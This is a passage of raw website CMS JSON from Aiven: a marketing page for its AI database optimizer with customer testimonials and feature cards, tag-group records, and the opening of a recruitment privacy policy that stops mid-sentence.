amazing"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-5f88665a7a3ad757f808f879e6b9922d7b3c5d05-800x114-png","_type":"reference"}},"jobTitle":"Technology Manager, Rusty","name":"Jason Metcalf"},{"_key":"d8a0f12b8035","_type":"testimonialItem","content":[{"_key":"8cfbe45c15bb","_type":"block","children":[{"_key":"0e8d95c060fb0","_type":"span","marks":[],"text":"EverSQL by Aiven has been a game-changer for us. It's like having a 24/7 DBA on the team. Our query performance has improved dramatically, directly boosting our user experience. Highly recommended for any data-intensive platform"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-a66801b2485e0e774efb33799969b5200dd2a1a4-820x231-png","_type":"reference"}},"jobTitle":"CEO, Sellix","name":"Daniele Servadei"},{"_key":"7ec3bfba1704","_type":"testimonialItem","content":[{"_key":"0a240083ac2f","_type":"block","children":[{"_key":"95f9881b801d0","_type":"span","marks":[],"text":"Our database was optimized with EverSQL by Aiven today. We were able to reduce the run time of our queries by more than 50%. It's an easy-to-use tool with great customer support"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.linkedin.com/posts/liorpeleg_i-rarely-recommend-services-or-solutions-activity-7044328343910948864-SCMC/?utm_source=share\u0026utm_medium=member_desktop"},"image":{"_type":"mainImage","alt":"Knowy","asset":{"_ref":"image-34e498036927d12c04389323cfc2298d9e1e7d93-195x65-png","_type":"reference"}},"jobTitle":"Co-owner, HippoCampus \u0026 Knowy","name":"Lior Peleg"},{"_key":"4d164d31605e","_type":"testimonialItem","content":[{"_key":"5d7de10de8d0","_type":"block","children":[{"_key":"1534266b177d0","_type":"span","marks":[],"text":"I've been using EverSQL by Aiven for database optimization and it's been an absolute game changer. Their platform is incredibly easy to use and has helped me identify and resolve SQL performance issues quickly and efficiently"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.linkedin.com/posts/dagan-chen-593400a6_i-just-wanted-to-take-a-moment-to-give-a-activity-7033062501671972864-yIeE/"},"image":{"_type":"mainImage","asset":{"_ref":"image-39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8-874x183-svg","_type":"reference"}},"jobTitle":"head of R\u0026D, Arbox","name":"Dagan Chen"},{"_key":"a71422ae41a3","_type":"testimonialItem","content":[{"_key":"524e6d398872","_type":"block","children":[{"_key":"0a04af43f40d0","_type":"span","marks":[],"text":"Shoutout to EverSQL by Aiven for excellent support and product. They use AI to assist in addressing database performance issues and for trend awareness. Often times databases perform different as scale changes and EverSQL helps navigate those changes"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://twitter.com/brian_dlee/status/1661113470786613248"},"image":{"_type":"mainImage","asset":{"_ref":"image-8000967f96e00f36fc69f6c03bf288b7568f6d4c-224x68-svg","_type":"reference"}},"jobTitle":"VP of Engineering, Nellis Auction","name":"Brian Lee"},{"_key":"77076f9e0e62","_type":"testimonialItem","content":[{"_key":"49df36d55d60","_type":"block","children":[{"_key":"c92545abf9b30","_type":"span","marks":[],"text":"EverSQL by Aiven has truly been a game-changer for MemberStack. It helped us optimize several slow queries from ~10 seconds to 50ms - the performance boost has been staggering! If you're a company looking to take your database performance to the next level, I can't recommend EverSQL enough!"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ab8303d232be5e99791b0bd6b440713856a7c4b0-956x190-svg","_type":"reference"}},"jobTitle":"Co-founder, MemberStack","name":"Tyrel Bell"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"logo"},{"_key":"fe1938368627","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"c3889baa77d3","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-43aff1f262062f2e1041ee1a4cf9379be710d15e-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"026d09c9541b","_type":"block","children":[{"_key":"0ca0233af51b0","_type":"span","marks":[],"text":"A prebuilt dashboard based on the slow query log information allows you to detect the most impacting queries and receive AI-driven SQL rewrite suggestions to boost your performance."}],"markDefs":[],"style":"normal"}],"title":"Data driven approach to detect and resolve performance issues faster","variant":"icon-card"},{"_key":"50798c8cfb64978b698bfb6ea01479ae","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e5e81b49763c","_type":"block","children":[{"_key":"a262f282cc350","_type":"span","marks":[],"text":"Receive AI-driven index and SQL rewrite suggestions to increase PostgreSQL performance. Leverage the existing resources as best as possible to optimize your cloud costs."}],"markDefs":[],"style":"normal"}],"title":"Better performance, optimized cost","variant":"icon-card"},{"_key":"450c7d59b6282257e05308c1110b3171","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"31a983d395ba","_type":"block","children":[{"_key":"1c0ef1438eef0","_type":"span","marks":[],"text":"Complement the internal team knowledge with PostgreSQL performance insights, suggestions and learning opportunities. Available 24/7."}],"markDefs":[],"style":"normal"}],"title":"Enhanced PostgreSQL know-how for technical teams","variant":"icon-card"},{"_key":"cd060228294c2db9987770959086f833","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e5557c674908","_type":"block","children":[{"_key":"cc833d8a4dc7","_type":"span","marks":[],"text":"No more waiting for a DBA, create fast feedback loops for PostgreSQL performance improvement directly in developers' workflows. Improve your agility and scalability by optimizing your PostgreSQL workloads to maximize the resource usage and keep cloud cost under control."}],"markDefs":[],"style":"normal"}],"title":"Develop scalable applications faster and optimize your cloud investment","variant":"icon-card"},{"_key":"84017ac62342","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1029b1b8417c","_type":"block","children":[{"_key":"fd80132fe36d0","_type":"span","marks":[],"text":"Data privacy and security are the outmost priority. The AI Database Optimizer doesn't access customer data, but only metadata. Moreover the information collected from one customer is not used as part of the database optimization process of other customers."}],"markDefs":[],"style":"normal"}],"title":"A secure, non-intrusive, AI solution","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-none","subtitle":[{"_key":"4c7bdda313b9","_type":"block","children":[{"_key":"c9b66654fed80","_type":"span","marks":[],"text":"Non optimized PostgreSQL queries have an huge impact on applications, providing poor customer experience and slow adoption. Even more, overutilize resources resulting in higher cloud spend and risk of downtime."}],"markDefs":[],"style":"normal"},{"_key":"4e6c33dee82b","_type":"block","children":[{"_key":"13ac85b446550","_type":"span","marks":["ec9707e2fc45"],"text":"Aiven AI Database Optimizer"},{"_key":"1076590ee6c1","_type":"span","marks":[],"text":" enables you to detect and solve PostgreSQL performance issues in minutes rather than days and enable your developers to build scalable applications faster."}],"markDefs":[{"_key":"ec9707e2fc45","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"title":"Benefits of a fully optimized PostgreSQL","topOverlap":false},{"_key":"5ab7ff4b3d3e","_type":"iconList","addSpaceBottom":true,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"ee4dd534d9b5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9d816cce2b41","_type":"block","children":[{"_key":"f8fd209107b8","_type":"span","marks":[],"text":"Stop wasting time looking at monitoring dashboards. Receive automated insights about performance degradation with actionable improvement suggestions."}],"markDefs":[],"style":"normal"}],"title":"Shorten the time to performance fixes"},{"_key":"dd2b11c900f5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d5a6ab21e01d","_type":"block","children":[{"_key":"b3179356fae8","_type":"span","marks":[],"text":"Receive AI-driven index and SQL rewrite suggestions to increase the database performance for your applications."}],"markDefs":[],"style":"normal"}],"title":"Speed up database performance"},{"_key":"2409f0dc85d2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d497014d915","_type":"block","children":[{"_key":"6e069ce7bf80","_type":"span","marks":[],"text":"Complement the internal team knowledge with database performance insights, suggestions and learning opportunities. Available 24/7."}],"markDefs":[],"style":"normal"}],"title":"Enhanced know-how for technical teams"},{"_key":"f4a55e4231db","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"42240b8fa4f9","_type":"block","children":[{"_key":"20d08adcfbf2","_type":"span","marks":[],"text":"Create fast feedback loops for database performance improvement directly in developers' workflows. "}],"markDefs":[],"style":"normal"}],"title":"Develop scalable applications faster"},{"_key":"cebdb63c16ff","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3a6924167c22","_type":"block","children":[{"_key":"d1994069a580","_type":"span","marks":[],"text":"Optimize your databases to maximize the resource usage and keep cloud cost under control."}],"markDefs":[],"style":"normal"}],"title":"Optimize your cloud investment"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"c5dddb2921ff","_type":"block","children":[{"_key":"18f4241fdba7","_type":"span","marks":[],"text":"A slow database means unresponsive applications, poor customer experience and ultimately churn. "}],"markDefs":[],"style":"normal"},{"_key":"bb8ed06093ed","_type":"block","children":[{"_key":"eb4cbbc9260c","_type":"span","marks":[],"text":"With Aiven AI database optimizer you can solve PostgreSQL and MySQL performance issues in minutes rather than days and enable your developers to build scalable applications faster."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven AI database optimizer"},{"_key":"ys48gmdqe7zpmlnr7yi3j4nd5m4tz2e7","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"933c4a99374f","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Start optimizing"},"image":{"_type":"mainImage","asset":{"_ref":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"f7cf81cf27dc","_type":"block","children":[{"_key":"4565858445b90","_type":"span","marks":[],"text":"Optimize your PostgreSQL and MySQL queries with Smart AI-based algorithms for automatic re-writing and indexing."}],"markDefs":[],"style":"normal"}],"tagline":"Free tools","title":"SQL Optimizer","variant":"default"},{"_key":"edf1333b106a","_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"whitepaper"},{"_key":"adf2cb327370","_ref":"27b51164-dd26-4fca-a8c0-cf0ebed0752f","_type":"webinar"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Explore our latest resources"},{"_key":"ehe0xd623tx934fjlp8i46r2efur4pek","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded","subtitle":[{"_key":"sc08kxn02did5tukaahmo9hu8sdhyhc7","_type":"block","children":[{"_key":"kg65dvtx1tq38fy1akgvqymy9r1qxtu3","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"},{"_key":"a5c714fd0ca1","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeFullWidth":true,"iframeHeight":800,"iframeSource":"https://embed-v2.testimonial.to/w/eversql?theme=light\u0026card=base\u0026subtitle=en","iframeTitle":"Testimonials from EverSQL customers","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"What do Aiven AI Database Optimizer customers think?"}],"infoBanner":{"_ref":"2628877d-b6aa-44a5-bbdb-26caa11abc5f","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Speed up your PostgreSQL® performance with workload insights and instant query optimization recommendations. \n\nPowered by Aiven AI Database Optimizer.\n ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-93461f6924587ba7e0589880260cb3ca7763545b-1200x628-png","_type":"reference"}},"metaTitle":"Optimize PostgreSQL | PostgreSQL SQL query optimization"},"slug":{"_type":"slug","current":"/solutions/postgresql-optimizer"},"tags":[{"_key":"9bdc8e59e877","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ea8b60af8b0e","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}],"title":"Optimize PostgreSQL Performance"} {"_createdAt":"2023-03-17T15:07:09Z","_id":"69c2330a-fcfc-44bd-8072-4cc813b27988","_rev":"RksXZeZKLvjmDTh0103nH2","_type":"tagGroup","_updatedAt":"2023-03-17T15:24:56Z","slug":{"_type":"slug","current":"persona"},"title":{"_type":"localeString","en":"Persona"}} {"_createdAt":"2023-03-17T15:03:47Z","_id":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_rev":"RksXZeZKLvjmDTh0103uhp","_type":"tagGroup","_updatedAt":"2023-03-17T15:25:12Z","slug":{"_type":"slug","current":"topic"},"title":{"_type":"localeString","en":"Topic"}} {"_createdAt":"2023-03-17T15:03:37Z","_id":"7072a52f-1a7c-4242-a19c-601a6d8de618","_rev":"xiZWRCvY8mGrbEYNJmo7DV","_type":"tagGroup","_updatedAt":"2023-03-24T17:00:46Z","slug":{"_type":"slug","current":"type"},"title":{"_type":"localeString","en":"Type"}} {"_createdAt":"2023-03-17T15:04:07Z","_id":"e229f39d-8528-4ce3-a52e-b0184bdccfc7","_rev":"RksXZeZKLvjmDTh0103rVj","_type":"tagGroup","_updatedAt":"2023-03-17T15:25:05Z","slug":{"_type":"slug","current":"funnel"},"title":{"_type":"localeString","en":"Funnel"}} {"_createdAt":"2023-03-17T15:03:00Z","_id":"3340199e-976d-4da1-86fa-add893be0f5a","_rev":"RksXZeZKLvjmDTh01040C2","_type":"tagGroup","_updatedAt":"2023-03-17T15:25:27Z","slug":{"_type":"slug","current":"technology"},"title":{"_type":"localeString","en":"Technology"}} {"_createdAt":"2023-09-18T08:34:42Z","_id":"46da8d22-2d97-4b68-aad5-2bb502036e9f","_rev":"kCpVRB4k8RYeMqmK0Brrb5","_type":"tagGroup","_updatedAt":"2023-09-18T08:34:42Z","slug":{"_type":"slug","current":"integrate"},"title":{"_type":"localeString","en":"Integrate"}} {"_createdAt":"2023-08-29T12:28:24Z","_id":"6aa49cdf-2553-4775-8701-05181e0b0685","_rev":"pv5QzE4Lm79BNhDrjkMq5F","_type":"tagGroup","_updatedAt":"2023-08-29T12:28:24Z","slug":{"_type":"slug","current":"page-category"},"title":{"_type":"localeString","en":"Page category"}} {"_createdAt":"2023-03-24T14:59:41Z","_id":"c331a257-7308-4fcc-9596-6e1f73ea4401","_rev":"dbnYPrvSKGV9AwPMwN1LzK","_type":"tagGroup","_updatedAt":"2023-03-24T14:59:41Z","slug":{"_type":"slug","current":"tool"},"title":{"_type":"localeString","en":"Tool"}} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:38:42Z","_id":"812e3e89-5b7b-4173-afaf-127dc2508207","_rev":"z7EiK8inwybcbhSAyACPws","_type":"term","_updatedAt":"2022-11-23T15:03:50Z","content":[{"_key":"afc4252b383a","_type":"block","children":[{"_key":"cb8eaa73bbce0","_type":"span","marks":[],"text":"This Recruitment Privacy Policy (referred to as \""},{"_key":"cb8eaa73bbce1","_type":"span","marks":["strong"],"text":"Privacy Policy"},{"_key":"cb8eaa73bbce2","_type":"span","marks":[],"text":"\") informs why and how we process personal data about job applicants who apply to one of our open positions (referred to as “"},{"_key":"cb8eaa73bbce3","_type":"span","marks":["strong"],"text":"Applicant"},{"_key":"cb8eaa73bbce4","_type":"span","marks":[],"text":"” or “"},{"_key":"cb8eaa73bbce5","_type":"span","marks":["strong"],"text":"you"},{"_key":"cb8eaa73bbce6","_type":"span","marks":[],"text":"”). Moreover, this Privacy Policy provides information on how and why we process personal data regarding potential job candidates who we are contacting in connection with introducing our open positions (referred to as “"},{"_key":"cb8eaa73bbce7","_type":"span","marks":["strong"],"text":"Candidate"},{"_key":"cb8eaa73bbce8","_type":"span","marks":[],"text":"” or “"},{"_key":"cb8eaa73bbce9","_type":"span","marks":["strong"],"text":"you"},{"_key":"cb8eaa73bbce10","_type":"span","marks":[],"text":"”)."}],"markDefs":[],"style":"normal"},{"_key":"a5d5906be087","_type":"block","children":[{"_key":"55088bce6c800","_type":"span","marks":[],"text":"Aiven Ltd, business ID: 2795743-5, is the data controller (referred to as \""},{"_key":"55088bce6c801","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"55088bce6c802","_type":"span","marks":[],"text":"\", \""},{"_key":"55088bce6c803","_type":"span","marks":["strong"],"text":"we"},{"_key":"55088bce6c804","_type":"span","marks":[],"text":"\" or \""},{"_key":"55088bce6c805","_type":"span","marks":["strong"],"text":"us"},{"_key":"55088bce6c806","_type":"span","marks":[],"text":"\") in relation to the processing of your personal data. As a data controller, Aiven is responsible for ensuring that personal data is processed in compliance with data protection laws. We take your data protection rights seriously and your personal data will be treated in a secure and confidential manner as set out in this Privacy Policy and as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"021f9c82cb73","_type":"block","children":[{"_key":"c49ef25ba2940","_type":"span","marks":[],"text":"We have also designated a Data Protection Officer (“DPO”) to oversee our data protection related matters. If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"7f4a0aa84d13","_type":"span","marks":["7725b9fde7e4"],"text":"dpo@aiven.io"},{"_key":"0242a399ab47","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7725b9fde7e4","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"11b28d629580","_type":"block","children":[{"_key":"d5a90d3b03550","_type":"span","marks":[],"text":"Where do we collect your personal data from?"}],"markDefs":[],"style":"h2"},{"_key":"0e50ca1a9d79","_type":"block","children":[{"_key":"a9666289fbdf0","_type":"span","marks":[],"text":"We may collect your personal data from the following sources:"}],"markDefs":[],"style":"normal"},{"_key":"b7c397e671e4","_type":"block","children":[{"_key":"8d37d84117430","_type":"span","marks":[],"text":"Personal data provided directly by you"}],"markDefs":[],"style":"h3"},{"_key":"dd88728d722b","_type":"block","children":[{"_key":"14426ec866350","_type":"span","marks":[],"text":"For the most part, we collect personal data directly from you during the recruitment process. You provide us with data, for example, when you send us your application through our application form, during job interviews and in connection with performing possible aptitude assessments."}],"markDefs":[],"style":"normal"},{"_key":"6b7faef6f13b","_type":"block","children":[{"_key":"d26a10b4af2a0","_type":"span","marks":[],"text":"Technical data we collect or generate automatically"}],"markDefs":[],"style":"h3"},{"_key":"a817a1725cb1","_type":"block","children":[{"_key":"1dc8b7fc57c90","_type":"span","marks":[],"text":"When you use our website, we may automatically collect some technical data which may be associated with you (e.g. IP-address) and your visit on our website. More information regarding the processing of personal data on our website "},{"_key":"b20c872681e5","_type":"span","marks":["75a56ec787a3"],"text":"here"},{"_key":"215fbf97766c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"75a56ec787a3","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"},{"_key":"137099c7e292","_type":"block","children":[{"_key":"79c699b492680","_type":"span","marks":[],"text":"Personal data collected from publicly available services (e.g., LinkedIn, GitHub)"}],"markDefs":[],"style":"h3"},{"_key":"7855b6f34b5c","_type":"block","children":[{"_key":"86196e625d0a0","_type":"span","marks":[],"text":"We may collect your personal data from publicly available services, such as LinkedIn and GitHub. This applies mainly with respect to Candidates who we are actively contacting in connection with introducing our open positions. Please note that we may use search engines to collect your public profile data from publicly available services. You can restrict search engines from accessing your public profile by changing certain profile settings or by removing the personal data available on such services."}],"markDefs":[],"style":"normal"},{"_key":"e8c454fcaca5","_type":"block","children":[{"_key":"d74e6963dbcd0","_type":"span","marks":[],"text":"Personal data collected from background checking organizations"}],"markDefs":[],"style":"h3"},{"_key":"00225b0e4a29","_type":"block","children":[{"_key":"c2b23d68306f0","_type":"span","marks":[],"text":"As part of the recruitment process, and subject to your consent, we may also perform background checks on you. As necessary, such background checks may include criminal records, credit reports or working permits. If background checks are performed, Aiven will at all times ensure that data protection laws are complied with."}],"markDefs":[],"style":"normal"},{"_key":"28bc7acc262a","_type":"block","children":[{"_key":"1b980c994c490","_type":"span","marks":[],"text":"References from former employers or educational institutions"}],"markDefs":[],"style":"h3"},{"_key":"54760e389500","_type":"block","children":[{"_key":"e6c2d6a1fcf70","_type":"span","marks":[],"text":"Moreover, during the recruitment process, we may also collect your data from references such as your former employers or educational institutions."}],"markDefs":[],"style":"normal"},{"_key":"56d5767c7e8f","_type":"block","children":[{"_key":"a72f9f7714750","_type":"span","marks":[],"text":"Why do we process candidate personal data?"}],"markDefs":[],"style":"h2"},{"_key":"e63268709f95","_type":"block","children":[{"_key":"bc9cf0f912920","_type":"span","marks":[],"text":"We may process personal data concerning you, as a Candidate, for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"0d5bb73aee9f","_type":"block","children":[{"_key":"45d1e52bf28e0","_type":"span","marks":[],"text":"Evaluating and finding suitable Candidates"}],"markDefs":[],"style":"h3"},{"_key":"942cdba70182","_type":"block","children":[{"_key":"e85c6ce412900","_type":"span","marks":[],"text":"We process your personal data to evaluate your potential and to identify you as a suitable Candidate for one of our open positions. The processing in this regard includes categorizing and evaluating your suitability for open positions by using certain criteria with respect to professional attributes and skills when performing searches from publicly available services (e.g., LinkedIn, GitHub)."}],"markDefs":[],"style":"normal"},{"_key":"ac8f13f25214","_type":"table","rows":[{"_key":"f6151a30-77e2-44cc-bbde-d5b73e34b375","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"ca3072c2-5d71-4a81-aeb3-6758c00b5cae","_type":"tableRow","cells":["Identity data / Contact data / Skills data / Employment data / Education data","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in attracting and appointing high caliber talents to secure competitiveness and business continuity."]}]},{"_key":"92e298e571b4","_type":"block","children":[{"_key":"d013a257ef870","_type":"span","marks":[],"text":"Informing and offe"},{"_key":"56c1f51db9d1","_type":"span","marks":["strong"],"text":"ring open positions to suitable Candidates"}],"markDefs":[],"style":"h3"},{"_key":"57d9641e3b9c","_type":"block","children":[{"_key":"bf88e3e5ec310","_type":"span","marks":[],"text":"We process your personal data, as a Candidate, to inform and offer our open positions to you. The processing in this regard may also include contacting suitable Candidates about new open positions via email."}],"markDefs":[],"style":"normal"},{"_key":"46ac21484cd5","_type":"table","rows":[{"_key":"ca5e6afc-da34-42e4-aa34-ddcffe81f988","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"add011ed-44a0-4e02-a6bb-433a2e6a1a39","_type":"tableRow","cells":["Identity data / Contact data","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in imparting information and establishing a dialogue with suitable Candidates to ensure effective communication of open positions."]}]},{"_key":"ee724695f94a","_type":"block","children":[{"_key":"2071a57b2b840","_type":"span","marks":[],"text":"\nIf you submit a job application to us, we will further process your personal data for the purposes set out below in section “Why do we process Applicant personal data?”"}],"markDefs":[],"style":"normal"},{"_key":"c9eb9e59ce4f","_type":"block","children":[{"_key":"a32d80e53d650","_type":"span","marks":[],"text":"Further information on how we perform candidate searches"}],"markDefs":[],"style":"h2"},{"_key":"8207e1271ad7","_type":"block","children":[{"_key":"9601bafcd8260","_type":"span","marks":[],"text":"We use a dedicated search engine to perform Candidate searches from publicly available services. For each of our open positions, to which we are looking for Candidates, we always have certain predefined criteria against which we perform the searches. The predefined criteria consist of the following information regarding the Candidate (the combination used in each search may vary):"}],"markDefs":[],"style":"normal"},{"_key":"e4f936333d30","_type":"block","children":[{"_key":"6e9d97a744910","_type":"span","marks":[],"text":"Working location"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"43f6dfef8252","_type":"block","children":[{"_key":"83f3366cf5350","_type":"span","marks":[],"text":"Work experience"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"917ef084cafc","_type":"block","children":[{"_key":"dcaddcc8cb290","_type":"span","marks":[],"text":"Technology skills (e.g., key programming languages)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ea8e8b2b6984","_type":"block","children":[{"_key":"50e72d68f6820","_type":"span","marks":[],"text":"Other similar professional attributes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c2ff2e4aedb","_type":"block","children":[{"_key":"29e3ea3f266f0","_type":"span","marks":[],"text":"In other words, we use pre-determined criteria and automated means to process personal data and create profiles of Candidates. Although the processing may amount to profiling, as defined in data protection laws, we do not carry out any automated decision making that would have legal effects or similarly significant effects on the Candidates."}],"markDefs":[],"style":"normal"},{"_key":"a7586aeff158","_type":"block","children":[{"_key":"7986043188370","_type":"span","marks":[],"text":"After performing the search, our recruiters will always review the results and decide which Candidates to contact. In addition, before communicating, our recruiters may also manually check the potential Candidate’s profile in Public Services in order to determine whether the Candidate has the necessary skills and attributes to succeed in our open position."}],"markDefs":[],"style":"normal"},{"_key":"cd5551c17abb","_type":"block","children":[{"_key":"835439a946d40","_type":"span","marks":[],"text":"Why do we process applicant personal data?"}],"markDefs":[],"style":"h2"},{"_key":"934e4b63ca14","_type":"block","children":[{"_key":"570c5e1f74710","_type":"span","marks":[],"text":"If you submit an application to us, we may process your personal data for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"5a95a27702cf","_type":"block","children":[{"_key":"4934f78a74c10","_type":"span","marks":[],"text":"Managing the recruitment process and Applicant evaluation to reach a selection decision"}],"markDefs":[],"style":"h3"},{"_key":"0d468909d32b","_type":"block","children":[{"_key":"bb86a5ab642f0","_type":"span","marks":[],"text":"We process your personal data for the purposes of storing, reviewing and managing job applications as part of our recruitment process. Furthermore, we process personal data to communicate with, and to carry out the evaluation, selection and appointment of the Applicant. We may also carry out background and reference checks, and for some positions, ensure that the Applicant has the appropriate working permits."}],"markDefs":[],"style":"normal"},{"_key":"d535575f20d0","_type":"table","rows":[{"_key":"4eaefa7c-94ea-4c6d-ad1d-2d9b777da4b4","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"d6fb3ba5-abe0-4201-82b3-cd64f45e6140","_type":"tableRow","cells":["- Identity data - Contact data - Skills data - Employment data - Education data - Background check data - Reference check data - Personal data related to health status - Other data categories provided (e.g., photos or videos, work samples, hobbies, etc.)","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in managing and carrying out recruitment processes as well as in evaluating Applicants in an equal and effective manner.\u003cbr\u003e\u003cbr\u003eAiven processes special categories of personal data (health status) provided by the Applicant if and as needed to provide the Applicant an equal opportunity to participate in the recruitment process.\u003cbr\u003e\u003cbr\u003eWhere required by data protection laws, we will ask your consent prior to collecting data in connection with background checks and reference checks.\u003cbr\u003e\u003cbr\u003eFurther in the recruitment process, the processing of personal data also becomes necessary in order to take steps at Applicant’s request prior to entering into contract of employment."]}]},{"_key":"bae3f7889603","_type":"block","children":[{"_key":"66133541a03f0","_type":"span","marks":[],"text":"Communicating new open positions"}],"markDefs":[],"style":"h3"},{"_key":"6fd0a26d2c2a","_type":"block","children":[{"_key":"9c3d7ace76f00","_type":"span","marks":[],"text":"If you are not selected to the position applied, we may further process your personal data to inform you about similar open positions at 